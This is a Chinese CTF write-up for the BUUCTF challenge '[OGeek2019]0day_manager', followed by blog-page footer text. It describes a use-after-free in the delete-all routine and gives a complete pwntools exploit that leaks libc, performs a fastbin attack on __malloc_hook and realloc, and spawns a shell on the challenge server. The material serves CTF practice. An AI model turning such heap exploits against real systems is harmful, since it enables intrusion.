[BUUCTF-pwn] [OGeek2019]0day_manager

事出反常必有妖。结构很多,不过3个基本差不多。一般菜单题也就是add,show,free这里多了个handle all 这里边允许输入删除的个数。但是这里边前半部分用的do循环,后半用的while循环。跃然通过条件判断大多数情况下可以正常运行,显然当输入0时前边会执行1次,而后边不执行。也就是堆块free了,管理指针块未清除,有UAF漏洞。

    case 2:
      for ( i = *(_QWORD **)(*(_QWORD *)(qword_203050 + 8) + 8LL); i; i = (_QWORD *)*i )
      {
        v15 = (void **)i[1];
        free(v15[1]);
        free(v15[3]);
        free(v15[5]);
        free(v15);
        if ( !--v5 )                            // 当数量为0时,v5,v4=0,但会先free 一块然后跳出,但管理块会正常直接跳出,导致第1块free后未清管理块指针,有UAF漏洞
          break;
      }
      v10 = *(_QWORD **)(*(_QWORD *)(qword_203050 + 8) + 8LL);
      while ( v10 )
      {
        if ( !v4-- )
          break;
        v16 = v10;
        v10 = (_QWORD *)*v10;
        free(v16);
      }
      result = v10;
      *(_QWORD *)(*(_QWORD *)(qword_203050 + 8) + 8LL) = v10;
      break;

沿着这个漏洞,由于是libc-2.27有tcache也就不必通过检查直接double free了。不过由于建块用calloc所以要用fastbin attack 。先要将块释放填满tcache再放入fastbin再从fastbin里修改指针错位控制realloc_hook,malloc_hook在里边写入one,relloc+n调栈得到shell 。

from pwn import *

'''
patchelf --set-interpreter ../buuoj_2.27_amd64/ld-2.27.so pwn
patchelf --add-needed ../buuoj_2.27_amd64/libc-2.27.so pwn
'''

elf = ELF('./pwn')
context.arch = 'amd64'

def connect():
    global p,libc_elf,one,libc_start_main_ret,local
    
    local = 0
    if local == 1:
        p = process('./pwn')
    else:
        p = remote('node4.buuoj.cn', 27047) 
    libc_elf = ELF('../buuoj_2.27_amd64/libc-2.27.so')
    one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
    libc_start_main_ret = 0x21b97

menu = b"4. Handle in all the 0day\n"
def add2(s1,d1,s2,d2,s3,d3):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"3. Logic bug\n", b'2')
    p.sendlineafter(b":", str(s1).encode())
    p.sendlineafter(b":", d1)
    p.sendlineafter(b":", str(s2).encode())
    p.sendlineafter(b":", d2)
    p.sendlineafter(b":", str(s3).encode())
    p.sendlineafter(b":", d3)

def add3(s1,d1,s2,d2):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"3. Logic bug\n", b'3')
    p.sendlineafter(b":", str(s1).encode())
    p.sendlineafter(b":", d1)
    p.sendlineafter(b":", str(s2).encode())
    p.sendlineafter(b":", d2)

def free(num, idx):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b'3. Logic\n', str(idx).encode())
    p.sendlineafter(b'?', str(num).encode())

def show(idx):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b'3. Logic\n', str(idx).encode())

def pwn(one_id, one_off):
    
    context.log_level = 'debug'
    add2(8, b'A', 8, b'A', 0x500, b'A')
    free(0, 2)
    show(2)
    p.recvuntil(b'note :')
    heap_addr = u64(p.recv(8))
    print('head:', hex(heap_addr))
    
    p.recvuntil(b'shellcode :')
    libc_base = u64(p.recv(8)) - 0x60 -0x10 - libc_elf.sym['__malloc_hook']
    libc_elf.address = libc_base
    one_gadget= libc_base + one[one_id] 
    print('libc:', hex(libc_base))

    add3(0x68, b'A', 0x68, b'A')
    [free(0, 3) for i in range(5)]  #交互的0x68 10次,7个填满tcache,3个在fastbin里得到loop

    add3(0x68, p64(libc_elf.sym['__malloc_hook'] -0x23), 0x68, b'A')
    add3(0x68, b'\x00'*8, 0x8, b'A')
    #写完data和context后会写管理块,所以改malloc_hook要放单独处理,防止得到shell前崩掉
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"3. Logic bug\n", b'3')
    p.sendlineafter(b":", str(0x68).encode())
    p.sendlineafter(b":", b'\x00'*(3+8) + p64(one_gadget) +p64(libc_elf.sym['realloc']+ one_off) )
    p.sendlineafter(b":", b'8')

    p.sendline(b'cat /flag')
    p.interactive()

#one[0],realloc+2
for i in range(1):
    for j in [2]:
        try:
            connect()
            pwn(i,j)
        except KeyboardInterrupt as e:
            exit()
        except:
            p.close()
        print ('retrying...')

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值